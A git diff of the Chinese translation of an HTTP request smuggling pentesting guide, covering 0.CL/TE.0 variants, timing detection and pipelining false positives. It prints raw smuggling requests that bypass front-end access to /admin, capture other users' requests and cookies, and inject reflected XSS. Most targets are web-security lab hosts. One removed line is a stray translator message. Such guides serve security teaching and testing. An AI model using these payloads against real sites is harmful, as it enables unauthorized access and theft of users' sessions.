@ -162,7 +179,7 @@ Non-Empty Body
|
||||
|
||||
#### TE.0 Scenario
|
||||
|
||||
- 类似前述场景,但使用 TE。
|
||||
- 类似于上一个场景,但使用 TE。
|
||||
- Technique [reported here](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
|
||||
- **Example**:
|
||||
```
|
||||
@ -182,34 +199,57 @@ x: X
|
||||
EMPTY_LINE_HERE
|
||||
EMPTY_LINE_HERE
|
||||
```
|
||||
#### 破坏 web 服务器
|
||||
#### `0.CL` 场景
|
||||
|
||||
该技术在能够**在读取初始 HTTP 数据时使 Web 服务器 崩溃**但**不关闭连接**的场景中也很有用。这样,HTTP 请求的 **body** 将被视为 **next HTTP request**。
|
||||
在 `0.CL` 情况下,request 会使用如下的 Content-Length 发送:
|
||||
```
|
||||
GET /Logon HTTP/1.1
|
||||
Host: <redacted>
|
||||
Content-Length:
|
||||
7
|
||||
|
||||
例如,如 [**this writeup**](https://mizu.re/post/twisty-python) 所述,在 Werkzeug 中可以发送一些 **Unicode** 字符,这会使服务器**崩溃**。但是,如果 HTTP 连接是通过头部 **`Connection: keep-alive`** 创建的,请求的 **body** 不会被读取,连接仍保持打开,因此请求的 **body** 将被视为 **next HTTP request**。
|
||||
GET /404 HTTP/1.1
|
||||
X: Y
|
||||
```
|
||||
而 front-end 并未考虑 `Content-Length`,因此它只会把第一个 request 发送到 backend(例如示例中直到 7)。然而 backend 会看到 `Content-Length` 并等待一个永远不会到来的 body,因为 front-end 已经在等待 response。
|
||||
|
||||
#### 通过 hop-by-hop headers 强制
|
||||
不过,如果存在一种可以发送到 backend 的 request,使得 backend 在接收该 request 的 body 之前就对其作出响应,那么这个死锁就不会发生。例如在 IIS 中,向像 `/con` 这样的 forbidden words 发送请求会出现这种情况(查看 [documentation](https://learn.microsoft.com/en-us/windows/win32/fileio/naming-a-file)),这样初始 request 会被直接响应,而第二个 request 将包含 victim 的 request,类似:
|
||||
```
|
||||
GET / HTTP/1.1
|
||||
X: yGET /victim HTTP/1.1
|
||||
Host: <redacted>
|
||||
```
|
||||
这对于造成 desync 很有用,但到目前为止不会有任何影响。
|
||||
|
||||
滥用 hop-by-hop headers 可以指示代理 **删除 header Content-Length 或 Transfer-Encoding,从而使 HTTP request smuggling 可被利用**。
|
||||
然而,该文章提供了一个解决方案,通过将 **[0.CL attack into a CL.0 with a double desync](https://portswigger.net/research/http1-must-die)** 来实现。
|
||||
|
||||
#### Breaking the web server
|
||||
|
||||
该技术在可以在读取初始 HTTP 数据时**破坏 web 服务器**但**不关闭连接**的场景中也很有用。这样,HTTP 请求的 **body** 将被视为 **next HTTP request**。
|
||||
|
||||
例如,正如 [**this writeup**](https://mizu.re/post/twisty-python) 中所解释的,在 Werkzeug 中可以发送一些 **Unicode** 字符,这会使服务器 **break**。然而,如果 HTTP 连接是使用头部 **`Connection: keep-alive`** 创建的,请求的 body 将不会被读取且连接仍然保持打开,因此请求的 **body** 将被视为 **next HTTP request**。
|
||||
|
||||
#### Forcing via hop-by-hop headers
|
||||
|
||||
滥用 hop-by-hop headers 可以指示代理 **删除 Content-Length 或 Transfer-Encoding 头,从而使 HTTP request smuggling 可以被滥用**。
|
||||
```
|
||||
Connection: Content-Length
|
||||
```
|
||||
For **more information about hop-by-hop headers** visit:
|
||||
|
||||
For **有关 hop-by-hop headers 的更多信息** 请参阅:
|
||||
|
||||
{{#ref}}
|
||||
../abusing-hop-by-hop-headers.md
|
||||
{{#endref}}
|
||||
|
||||
## Finding HTTP Request Smuggling
|
||||
## 查找 HTTP Request Smuggling
|
||||
|
||||
识别 HTTP request smuggling 漏洞通常可以通过 timing techniques 实现,这些方法依赖于观察被操纵的请求使服务器响应所需的时间。 这些技术对检测 CL.TE 和 TE.CL 漏洞尤其有用。 除了这些方法外,还有其他策略和工具可以用来查找此类漏洞:
|
||||
识别 HTTP request smuggling 漏洞通常可以通过时序技术实现,依赖于观察服务器对被操控请求的响应所需时间。这些技术对于检测 CL.TE 和 TE.CL 漏洞尤其有用。除了这些方法外,还有其他策略和工具可用于发现此类漏洞:
|
||||
|
||||
### Finding CL.TE Vulnerabilities Using Timing Techniques
|
||||
### 使用时序技术发现 CL.TE 漏洞
|
||||
|
||||
- **方法:**
|
||||
|
||||
- 发送一个请求,如果应用存在漏洞,这个请求会导致后端服务器等待额外的数据。
|
||||
- 发送一个请求,如果应用存在漏洞,该请求会导致后端服务器等待额外数据。
|
||||
- **示例:**
|
||||
|
||||
```
|
||||
@ -226,17 +266,17 @@ A
|
||||
|
||||
- **观察:**
|
||||
- 前端服务器基于 `Content-Length` 处理请求并过早截断消息。
|
||||
- 后端服务器期望收到 chunked 消息,因此等待下一个永远不会到达的 chunk,从而导致延迟。
|
||||
- 后端服务器预计是 chunked 消息,等待不会到来的下一个 chunk,导致延迟。
|
||||
|
||||
- **指示信号:**
|
||||
- 响应出现超时或长时间延迟。
|
||||
- 从后端服务器收到 400 Bad Request 错误,有时会包含详细的服务器信息。
|
||||
- **指示器:**
|
||||
- 响应超时或长时间延迟。
|
||||
- 从后端服务器收到 400 Bad Request 错误,有时带有详细的服务器信息。
|
||||
|
||||
### Finding TE.CL Vulnerabilities Using Timing Techniques
|
||||
### 使用时序技术发现 TE.CL 漏洞
|
||||
|
||||
- **方法:**
|
||||
|
||||
- 发送一个请求,如果应用存在漏洞,这个请求会导致后端服务器等待额外的数据。
|
||||
- 发送一个请求,如果应用存在漏洞,该请求会导致后端服务器等待额外数据。
|
||||
- **示例:**
|
||||
|
||||
```
|
||||
@ -251,41 +291,49 @@ X
|
||||
```
|
||||
|
||||
- **观察:**
|
||||
- 前端服务器基于 `Transfer-Encoding` 处理并转发完整消息。
|
||||
- 后端服务器按 `Content-Length` 期望消息,等待额外永远不会到达的数据,从而导致延迟。
|
||||
- 前端服务器基于 `Transfer-Encoding` 处理并转发了整个消息。
|
||||
- 后端服务器预计基于 `Content-Length` 的消息,等待不会到来的额外数据,导致延迟。
|
||||
|
||||
### Other Methods to Find Vulnerabilities
|
||||
### 发现漏洞的其他方法
|
||||
|
||||
- **差异化响应分析:**
|
||||
- 发送略有差异的请求版本,观察服务器响应是否以意外方式不同,这表明存在解析不一致。
|
||||
- **差异响应分析:**
|
||||
- 发送略有不同的请求版本,观察服务器响应是否以意外方式不同,这表明存在解析差异。
|
||||
- **使用自动化工具:**
|
||||
- 像 Burp Suite 的 'HTTP Request Smuggler' 扩展这样的工具可以通过发送各种模糊请求并分析响应来自动测试这些漏洞。
|
||||
- 像 Burp Suite 的 'HTTP Request Smuggler' 扩展这样的工具可以通过发送各种模糊的歧义请求并分析响应来自动测试这些漏洞。
|
||||
- **Content-Length 变异测试:**
|
||||
- 发送 `Content-Length` 值与实际内容长度不一致的请求,观察服务器如何处理这些不匹配。
|
||||
- 发送具有不同 `Content-Length` 值的请求,这些值与实际内容长度不一致,并观察服务器如何处理这些不匹配。
|
||||
- **Transfer-Encoding 变异测试:**
|
||||
- 发送被混淆或格式错误的 `Transfer-Encoding` 头,监测前端和后端服务器对这些篡改的不同响应。
|
||||
- 发送带有混淆或损坏的 `Transfer-Encoding` 头的请求,并监视前端和后端服务器对这些操作的响应差异。
|
||||
|
||||
### HTTP Request Smuggling Vulnerability Testing
|
||||
### The `Expect: 100-continue` header
|
||||
|
||||
在确认 timing techniques 有效后,关键是验证是否能操纵客户端请求。 一个直接的方法是尝试毒化你的请求,例如让对 `/` 的请求返回 404。 在 [Basic Examples](#basic-examples) 中之前讨论的 CL.TE 和 TE.CL 示例演示了如何毒化客户端请求以引发 404 响应,即使客户端试图访问不同的资源。
|
||||
查看此头如何帮助利用 http desync,参见:
|
||||
|
||||
**关键注意事项**
|
||||
{{#ref}}
|
||||
../special-http-headers.md
|
||||
{{#endref}}
|
||||
|
||||
在通过干扰其他请求来测试 request smuggling 漏洞时,请注意:
|
||||
### HTTP Request Smuggling 漏洞测试
|
||||
|
||||
- **不同的网络连接:** “攻击”请求和“正常”请求应通过不同的网络连接发送。 在同一连接上发送两者并不能证明漏洞的存在。
|
||||
- **一致的 URL 和参数:** 尽量对两个请求使用相同的 URL 和参数名。 现代应用通常根据 URL 和参数将请求路由到特定后端服务器。 匹配这些可以增加两个请求由同一服务器处理的可能性,这是成功攻击的前提。
|
||||
- **时机和竞赛条件:** 用于检测“攻击”请求干扰的“正常”请求会与其他并发应用请求竞争。 因此,应在“攻击”请求之后立即发送“正常”请求。 忙碌的应用可能需要多次尝试才能得出结论。
|
||||
- **负载均衡挑战:** 作为负载均衡器的前端服务器可能会将请求分发到不同的后端系统。 如果“攻击”和“正常”请求落在不同的系统上,攻击不会成功。 这一负载均衡因素可能需要多次尝试来确认漏洞。
|
||||
- **意外的用户影响:** 如果你的攻击无意中影响了另一个用户的请求(而不是你发送的用于检测的“正常”请求),这表明你的攻击影响到了其他应用用户。 持续测试可能会中断其他用户,因此必须谨慎。
|
||||
在确认时序技术有效后,关键是要验证是否可以操纵客户端请求。一种直接的方法是尝试污染你的请求,例如,使对 `/` 的请求返回 404 响应。之前在 [基本示例](#basic-examples) 中讨论的 `CL.TE` 和 `TE.CL` 例子演示了如何污染客户端的请求以引发 404 响应,即使客户端本来想访问不同的资源。
|
||||
|
||||
## Distinguishing HTTP/1.1 pipelining artifacts vs genuine request smuggling
|
||||
**主要注意事项**
|
||||
|
||||
Connection reuse (keep-alive) and pipelining can easily produce illusions of "smuggling" in testing tools that send multiple requests on the same socket. Learn to separate harmless client-side artifacts from real server-side desync.
|
||||
在通过干扰其他请求来测试 request smuggling 漏洞时,请记住:
|
||||
|
||||
### Why pipelining creates classic false positives
|
||||
- **不同的网络连接:** "attack" 和 "normal" 请求应通过不同的网络连接发送。使用相同的连接发送两者并不能验证漏洞的存在。
|
||||
- **一致的 URL 和参数:** 尽量对两个请求使用相同的 URL 和参数名。现代应用通常根据 URL 和参数将请求路由到特定的后端服务器。匹配这些可以增加两个请求被同一台服务器处理的可能性,这是成功攻击的前提。
|
||||
- **时序与竞态条件:** 用于检测是否受到 "attack" 请求干扰的 "normal" 请求需要与其他并发应用请求竞争。因此,应在发送 "attack" 请求后立即发送 "normal" 请求。繁忙的应用可能需要多次尝试才能得出结论。
|
||||
- **负载均衡挑战:** 作为负载均衡器的前端服务器可能会将请求分发到不同的后端系统。如果 "attack" 和 "normal" 请求最终落在不同的系统上,攻击将不会成功。此负载均衡因素可能需要多次尝试才能确认漏洞。
|
||||
- **对其他用户的非预期影响:** 如果你的攻击无意中影响了另一个用户的请求(而不是你为检测发送的 "normal" 请求),这表明你的攻击影响了其他应用用户。持续测试可能会扰乱其他用户,因此必须谨慎行事。
|
||||
|
||||
HTTP/1.1 reuses a single TCP/TLS connection and concatenates requests and responses on the same stream. In pipelining, the client sends multiple requests back-to-back and relies on in-order responses. A common false-positive is to resend a malformed CL.0-style payload twice on a single connection:
|
||||
## 区分 HTTP/1.1 pipelining 伪像与真实的 request smuggling
|
||||
|
||||
连接重用(keep-alive)和 pipelining 很容易在那些在同一 socket 上发送多个请求的测试工具中产生“smuggling”的错觉。学会将无害的客户端伪像与真实的服务器端 desync 区分开来。
|
||||
|
||||
### 为什么 pipelining 会产生经典误报
|
||||
|
||||
HTTP/1.1 重用单个 TCP/TLS 连接,并在同一流中串联请求和响应。在 pipelining 中,客户端连续发送多个请求并依赖按序响应。一个常见的误报是在单个连接上重复发送格式错误的 CL.0-style 有效载荷两次:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: hackxor.net
|
||||
@ -294,7 +342,7 @@ Content_Length: 47
|
||||
GET /robots.txt HTTP/1.1
|
||||
X: Y
|
||||
```
|
||||
我没有收到 src/pentesting-web/http-request-smuggling/README.md 的内容。请将该文件的完整 Markdown 文本粘贴到这里,我会按你给出的规则把其中的英文相关文字翻译成中文,并严格保留所有 Markdown/HTML 标记、代码、链接、路径与不翻译的专有名词。
|
||||
响应可能如下所示:
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/html
|
||||
@ -308,7 +356,7 @@ Content-Type: text/plain
|
||||
User-agent: *
|
||||
Disallow: /settings
|
||||
```
|
||||
如果服务器忽略了畸形的 `Content_Length`,则不存在 FE↔BE desync。在重用的情况下,您的客户端实际上发送了以下字节流,服务器将其解析为两个独立的请求:
|
||||
如果服务器忽略了格式错误的 `Content_Length`,就不会发生 FE↔BE desync。连接重用时,你的客户端实际上发送了以下字节流,服务器把它解析为两个独立的请求:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: hackxor.net
|
||||
@ -322,42 +370,42 @@ Content_Length: 47
|
||||
GET /robots.txt HTTP/1.1
|
||||
X: Y
|
||||
```
|
||||
影响:无。你只是让客户端与服务器的帧不同步。
|
||||
影响:无。你只是使客户端与服务器的消息分界 desynced。
|
||||
|
||||
> [!TIP]
|
||||
> 依赖重用/管道化的 Burp 模块:Turbo Intruder with `requestsPerConnection>1`、Intruder with "HTTP/1 connection reuse"、Repeater "Send group in sequence (single connection)" 或 "Enable connection reuse"。
|
||||
> Burp 模块依赖 reuse/pipelining 的有:Turbo Intruder(当 `requestsPerConnection>1`)、Intruder(启用 "HTTP/1 connection reuse")、Repeater 的 "Send group in sequence (single connection)" 或 "Enable connection reuse"。
|
||||
|
||||
### 判别测试:pipelining 还是真实的 desync?
|
||||
### 试验:pipelining 还是真实的 desync?
|
||||
|
||||
1. Disable reuse and re-test
|
||||
- In Burp Intruder/Repeater, turn off HTTP/1 reuse and avoid "Send group in sequence".
|
||||
- In Turbo Intruder, set `requestsPerConnection=1` and `pipeline=False`.
|
||||
- If the behavior disappears, it was likely client-side pipelining, unless you’re dealing with connection-locked/stateful targets or client-side desync.
|
||||
2. HTTP/2 nested-response check
|
||||
- 发送一个 HTTP/2 请求。如果响应体包含一个完整的嵌套 HTTP/1 响应,那么你已经证明这是后端解析/ desync 漏洞,而不是纯粹的客户端伪像。
|
||||
3. Partial-requests probe for connection-locked front-ends
|
||||
- 一些 FEs 只有在客户端重用连接时才会重用上游 BE 连接。使用 partial-requests 来检测 FE 是否镜像客户端的重用行为。
|
||||
- 参见 PortSwigger "Browser‑Powered Desync Attacks" 关于 connection-locked 技术的说明。
|
||||
4. State probes
|
||||
- 在同一 TCP 连接上查找首次请求与后续请求的差异(首次请求的路由/验证差异)。
|
||||
- Burp "HTTP Request Smuggler" 包含一个 connection‑state 探测,可自动化此项检查。
|
||||
5. Visualize the wire
|
||||
- 使用 Burp "HTTP Hacker" 扩展在实验重用和 partial requests 时直接检查拼接和消息定界(concatenation 和 message framing)。
|
||||
1. 禁用 reuse 并重新测试
|
||||
- 在 Burp Intruder/Repeater 中,关闭 HTTP/1 reuse 并避免 "Send group in sequence"。
|
||||
- 在 Turbo Intruder 中,将 `requestsPerConnection=1` 并设置 `pipeline=False`。
|
||||
- 如果行为消失,很可能是客户端的 pipelining,除非你在处理 connection-locked/stateful targets 或客户端端的 desync。
|
||||
2. HTTP/2 nested-response 检查
|
||||
- 发送一个 HTTP/2 请求。如果响应体包含一个完整的嵌套 HTTP/1 响应,你已经证明这是后端的解析/desync 漏洞,而不是纯粹的客户端伪象。
|
||||
3. Partial-requests 用于检测 connection-locked 前端
|
||||
- 一些 FE 只有在客户端重用其连接时才重用上游 BE 连接。使用 partial-requests 来检测 FE 是否会镜像客户端的 reuse 行为。
|
||||
- 参见 PortSwigger "Browser‑Powered Desync Attacks" 了解 connection-locked 技术。
|
||||
4. 状态探测
|
||||
- 在同一 TCP 连接上查找首次请求与后续请求的差异(首个请求的路由/验证)。
|
||||
- Burp "HTTP Request Smuggler" 包含一个 connection‑state 探针来自动化此检测。
|
||||
5. 可视化 wire
|
||||
- 使用 Burp "HTTP Hacker" 扩展在尝试 reuse 和 partial requests 时直接检查拼接和消息分帧。
|
||||
|
||||
### Connection‑locked request smuggling (reuse-required)
|
||||
|
||||
一些前端只有在客户端重用连接时才会重用上游连接。真实的 smuggling 存在,但依赖于客户端侧的重用。要区分并证明影响:
|
||||
- Prove the server-side bug
|
||||
- Use the HTTP/2 nested-response check, or
|
||||
- Use partial-requests to show the FE only reuses upstream when the client does.
|
||||
- Show real impact even if direct cross-user socket abuse is blocked:
|
||||
- Cache poisoning: 通过 desync 污染共享缓存,使响应影响其他用户。
|
||||
- Internal header disclosure: 反射 FE 注入的 headers(例如 auth/trust headers),并以此切换到权限绕过。
|
||||
- Bypass FE controls: 通过 smuggle 将受限路径/方法绕过前端。
|
||||
- Host-header abuse: 结合 host 路由的怪异行为转向内部 vhosts。
|
||||
一些前端只有在客户端重用连接时才会重用上游连接。真实的 smuggling 存在,但依赖于客户端端的 reuse。为区分并证明影响:
|
||||
- 证明服务器端漏洞
|
||||
- 使用 HTTP/2 nested-response 检查,或
|
||||
- 使用 partial-requests 显示 FE 仅在客户端重用时才重用上游连接。
|
||||
- 即使直接的跨用户 socket 滥用被阻止,也要展示真实影响:
|
||||
- Cache poisoning:通过 desync 污染共享缓存,使响应影响其他用户。
|
||||
- Internal header disclosure:反射 FE 注入的 headers(例如 auth/trust headers),并以此为跳板实现 auth bypass。
|
||||
- Bypass FE controls:将受限路径/方法 smuggle 过前端。
|
||||
- Host-header abuse:结合 host routing 的怪癖 pivot 到内部 vhosts。
|
||||
- Operator workflow
|
||||
- Reproduce with controlled reuse (Turbo Intruder `requestsPerConnection=2`, or Burp Repeater tab group → "Send group in sequence (single connection)").
|
||||
- Then chain to cache/header-leak/control-bypass primitives and demonstrate cross-user or authorization impact.
|
||||
- 使用受控的 reuse 复现(Turbo Intruder `requestsPerConnection=2`,或 Burp Repeater 标签组 → "Send group in sequence (single connection)")。
|
||||
- 然后链到 cache/header-leak/control-bypass primitives 并证明跨用户或授权影响。
|
||||
|
||||
> See also connection‑state attacks, which are closely related but not technically smuggling:
|
||||
>
|
||||
@ -367,9 +415,9 @@ X: Y
|
||||
|
||||
### Client‑side desync constraints
|
||||
|
||||
如果你针对 browser-powered/client-side desync,恶意请求必须可由浏览器以跨域方式发送。Header obfuscation 的技巧无效。专注于可通过 navigation/fetch 触达的原语,然后转向 cache poisoning、header disclosure 或前端控制绕过,在下游组件反射或缓存响应时利用它们。
|
||||
如果你的目标是 browser-powered/client-side desync,恶意请求必须能被浏览器跨域发送。Header obfuscation 的技巧不会奏效。关注可通过 navigation/fetch 到达的 primitives,然后 pivot 到 cache poisoning、header disclosure 或 front-end control bypass(下游组件会反射或缓存响应的场景)。
|
||||
|
||||
有关背景和端到端工作流程:
|
||||
有关背景和端到端工作流:
|
||||
|
||||
{{#ref}}
|
||||
browser-http-request-smuggling.md
|
||||
@ -377,21 +425,21 @@ browser-http-request-smuggling.md
|
||||
|
||||
### Tooling to help decide
|
||||
|
||||
- HTTP Hacker (Burp BApp Store):在低层面暴露 HTTP 行为和 socket 拼接。
|
||||
- HTTP Hacker (Burp BApp Store):在低层次暴露 HTTP 行为和 socket 拼接。
|
||||
- "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
|
||||
- Turbo Intruder:通过 `requestsPerConnection` 对连接重用进行精确控制。
|
||||
- Burp HTTP Request Smuggler:包含一个 connection‑state 探测,用于发现首次请求的路由/验证差异。
|
||||
- Burp HTTP Request Smuggler:包含一个 connection‑state 探针来发现首个请求的路由/验证差异。
|
||||
|
||||
> [!NOTE]
|
||||
> 将仅在重用时出现的效果视为非问题,除非你能证明存在 server-side desync 并附上具体影响(被污染的缓存产物、泄露的内部 header 导致权限绕过、被绕过的 FE 控制等)。
|
||||
> 除非你能证明服务器端的 desync 并附带具体影响(poisoned cache artifact、leaked internal header 导致权限绕过、bypassed FE control 等),否则将仅因 reuse 导致的效果视为非问题。
|
||||
|
||||
## Abusing HTTP Request Smuggling
|
||||
|
||||
### Circumventing Front-End Security via HTTP Request Smuggling
|
||||
|
||||
有时,前端代理会强制执行安全措施,仔细检查进入的请求。然而,可以通过利用 HTTP Request Smuggling 绕过这些措施,从而未授权访问受限端点。例如,外部可能禁止访问 `/admin`,前端代理会主动阻止此类尝试。但该代理可能不会检查被 smuggle 的 HTTP 请求内的嵌入请求,从而留下绕过这些限制的漏洞。
|
||||
有时前端代理会强制实施安全措施,检查传入请求。然而,这些措施可以通过利用 HTTP Request Smuggling 绕过,从而允许未经授权访问受限端点。例如,从外部访问 `/admin` 可能被禁止,前端代理会主动阻止此类尝试。但该代理可能忽略对 smuggled HTTP request 中嵌入请求的检查,从而留下绕过这些限制的漏洞。
|
||||
|
||||
考虑以下示例,说明如何使用 HTTP Request Smuggling 绕过前端安全控制,特别是针对通常由前端代理保护的 `/admin` 路径:
|
||||
下面的示例说明了如何使用 HTTP Request Smuggling 绕过前端安全控制,具体针对通常由前端代理保护的 `/admin` 路径:
|
||||
|
||||
**CL.TE Example**
|
||||
```
|
||||
@ -410,9 +458,9 @@ Content-Length: 10
|
||||
|
||||
x=
|
||||
```
|
||||
在 CL.TE 攻击中,初始请求利用 `Content-Length` 头,而后续嵌入的请求使用 `Transfer-Encoding: chunked` 头。前端代理处理初始的 `POST` 请求,但未能检查嵌入的 `GET /admin` 请求,从而允许对 `/admin` 路径的未授权访问。
|
||||
在 CL.TE 攻击中,`Content-Length` header 被用于初始请求,而随后的嵌入请求使用 `Transfer-Encoding: chunked` header。front-end proxy 处理初始的 `POST` 请求但未能检查嵌入的 `GET /admin` 请求,从而允许对 `/admin` 路径的未授权访问。
|
||||
|
||||
**TE.CL Example**
|
||||
**TE.CL 示例**
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: [redacted].web-security-academy.net
|
||||
@ -428,13 +476,13 @@ a=x
|
||||
0
|
||||
|
||||
```
|
||||
Conversely, in the TE.CL attack, the initial `POST` request uses `Transfer-Encoding: chunked`, and the subsequent embedded request is processed based on the `Content-Length` header. Similar to the CL.TE attack, the front-end proxy overlooks the smuggled `GET /admin` request, inadvertently granting access to the restricted `/admin` path.
|
||||
相反,在 TE.CL 攻击中,最初的 `POST` 请求使用 `Transfer-Encoding: chunked`,而随后嵌入的请求则根据 `Content-Length` 报头进行处理。与 CL.TE 攻击类似,前端 proxy 忽略了被走私的 `GET /admin` 请求,从而无意中允许访问受限的 `/admin` 路径。
|
||||
|
||||
### Revealing front-end request rewriting <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
|
||||
### 揭示前端请求重写 <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
|
||||
|
||||
应用通常会使用一个 **front-end server** 在将请求传给后端服务器之前修改传入的请求。常见的修改包括添加头,例如 `X-Forwarded-For: <IP of the client>`,以将客户端的 IP 通知后端。了解这些修改非常重要,因为它可能揭示绕过防护或发现隐藏信息或端点的方法。
|
||||
应用通常会使用一个前端服务器在将传入请求转发给后端服务器之前修改这些请求。典型的修改包括添加报头,例如 `X-Forwarded-For: <IP of the client>`,以将客户端的 IP 转发给后端。理解这些修改非常关键,因为它可能揭示**绕过防护**或**发现被隐藏的信息或端点**的方法。
|
||||
|
||||
要调查代理如何修改请求,找一个后端会在响应中回显的 POST 参数。然后构造一个请求,将该参数放在最后,类似下面:
|
||||
要调查 proxy 如何修改请求,找到一个后端在响应中回显的 POST 参数。然后构造一个请求,将该参数放在最后,类似如下:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
@ -451,19 +499,19 @@ Content-Length: 100
|
||||
|
||||
search=
|
||||
```
|
||||
在这种结构中,后续的请求组件会被追加到 `search=` 之后,`search=` 是在响应中被反射的参数。该反射会暴露后续请求的 headers。
|
||||
在这种结构中,随后请求的各部分会被追加在 `search=` 之后,该参数会在响应中被反射。该反射会暴露随后请求的 header。
|
||||
|
||||
必须将嵌套请求的 `Content-Length` header 与实际内容长度对齐。建议从较小的值开始逐步增加,因为值太小会截断被反射的数据,而值太大可能导致请求出错。
|
||||
将嵌套请求的 `Content-Length` header 与实际内容长度对齐非常重要。建议从较小的值开始并逐步增加,因为值太小会截断被反射的数据,而值过大则可能导致请求出错。
|
||||
|
||||
该技术在 TE.CL 漏洞的场景下同样适用,但请求应以 `search=\r\n0` 结尾。无论换行字符为何,值都会被附加到 search 参数上。
|
||||
该技术也适用于 TE.CL 漏洞的情形,但请求应以 `search=\r\n0` 终止。无论换行字符如何,这些值都会追加到 search 参数中。
|
||||
|
||||
该方法主要用于了解前端代理对请求所做的修改,本质上是对自身请求的调查。
|
||||
该方法主要用于理解前端代理对请求所做的修改,本质上是在进行一次自我导向的调查。
|
||||
|
||||
### 捕获其他用户的请求 <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
|
||||
|
||||
可以通过在 POST 操作期间将特定请求作为参数的值追加来捕获下一个用户的请求。下面说明如何实现:
|
||||
可以通过在 POST 操作中将特定请求作为参数的值追加,来捕获下一个用户的请求。以下是实现方法:
|
||||
|
||||
通过将下面的请求作为参数值追加,你可以保存随后的客户端请求:
|
||||
通过将下面的请求作为参数值追加,你可以存储随后客户端的请求:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
|
||||
@ -483,20 +531,20 @@ Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
|
||||
|
||||
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
|
||||
```
|
||||
在这个场景中,**comment parameter** 用于将内容存储在公开可访问页面的帖子评论区中。因此,后续请求的内容将被显示为一条评论。
|
||||
在这种场景中,**comment parameter** 用于在公开可访问的页面上存储帖子评论区的内容。因此,后续请求的内容将以评论的形式显示。
|
||||
|
||||
然而,这种技术有局限性。通常,它只会捕获到走私请求中使用的参数分隔符为止。对于 URL-encoded 表单提交,这个分隔符是 `&` 字符。这意味着从受害用户请求中捕获的内容会在第一个 `&` 处停止,该 `&` 甚至可能属于查询字符串的一部分。
|
||||
然而,这种技术有其局限性。通常它只能捕获数据,直到 smuggled request 中使用的参数分隔符为止。对于 URL 编码的表单提交,该分隔符是 `&` 字符。这意味着从受害用户请求中捕获的内容将会在第一个 `&` 处停止,该 `&` 甚至可能属于查询字符串的一部分。
|
||||
|
||||
此外,值得注意的是,这种方法在存在 TE.CL 漏洞时也可行。在这种情况下,请求应该以 `search=\r\n0` 结尾。无论换行字符如何,值都会被附加到 search 参数上。
|
||||
另外值得注意的是,这种方法在存在 TE.CL vulnerability 时也可行。在这种情况下,请求应以 `search=\r\n0` 结尾。无论换行字符如何,值都会被追加到 search 参数中。
|
||||
|
||||
### 使用 HTTP request smuggling 来利用 reflected XSS
|
||||
### 使用 HTTP request smuggling 利用 Reflected XSS
|
||||
|
||||
HTTP Request Smuggling 可被用来攻击易受 **Reflected XSS** 影响的网页,具有显著优势:
|
||||
HTTP Request Smuggling 可被用来利用易受 **Reflected XSS** 影响的网页,具有以下显著优势:
|
||||
|
||||
- 与目标用户的交互 **不是必需的**。
|
||||
- 允许在通常不可达的请求部分利用 XSS,例如 HTTP request headers。
|
||||
- 与目标用户的交互**不需要**。
|
||||
- 允许在请求中通常**无法触及**的部分利用 XSS,例如 HTTP request headers。
|
||||
|
||||
在通过 User-Agent header 导致 Reflected XSS 的场景中,下面的 payload 演示了如何利用该漏洞:
|
||||
在网站通过 User-Agent header 易受 Reflected XSS 攻击的场景中,下面的 payload 展示了如何利用该漏洞:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
|
||||
@ -517,26 +565,26 @@ Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
A=
|
||||
```
|
||||
This payload is structured to exploit the vulnerability by:
|
||||
This payload 的结构旨在通过以下方式利用该漏洞:
|
||||
|
||||
1. Initiating a `POST` request, seemingly typical, with a `Transfer-Encoding: chunked` header to indicate the start of smuggling.
|
||||
2. Following with a `0`, marking the end of the chunked message body.
|
||||
3. Then, a smuggled `GET` request is introduced, where the `User-Agent` header is injected with a script, `<script>alert(1)</script>`, triggering the XSS when the server processes this subsequent request.
|
||||
1. 发起一个看似普通的 `POST` 请求,包含 `Transfer-Encoding: chunked` 头以指示开始进行 smuggling。
|
||||
2. 紧接着发送一个 `0`,标记 chunked 消息体的结束。
|
||||
3. 然后引入一个被 smuggle 的 `GET` 请求,其中通过注入 `<script>alert(1)</script>` 到 `User-Agent` 头,触发服务器处理该后续请求时的 XSS。
|
||||
|
||||
By manipulating the `User-Agent` through smuggling, the payload bypasses normal request constraints, thus exploiting the Reflected XSS vulnerability in a non-standard but effective manner.
|
||||
通过对 `User-Agent` 的 smuggling 操作,这个 payload 绕过了正常的请求限制,从而以一种非标准但有效的方式利用了 Reflected XSS 漏洞。
|
||||
|
||||
#### HTTP/0.9
|
||||
|
||||
> [!CAUTION]
|
||||
> 如果用户内容在响应中被反射,且响应的 **`Content-type`** 为 **`text/plain`** 等,会阻止 XSS 的执行。如果服务器支持 **HTTP/0.9**,可能可以绕过这一限制!
|
||||
> 如果用户内容在响应中以 **`Content-type`**(例如 **`text/plain`**)反射出来,可能会阻止 XSS 的执行。如果服务器支持 **HTTP/0.9**,则可能有办法绕过这一点!
|
||||
|
||||
The version HTTP/0.9 was previously to the 1.0 and only uses **GET** verbs and **doesn’t** respond with **headers**, just the body.
|
||||
HTTP/0.9 版本在 1.0 之前,只使用 **GET** 动词,并且**不**会返回 **headers**,只返回 body。
|
||||
|
||||
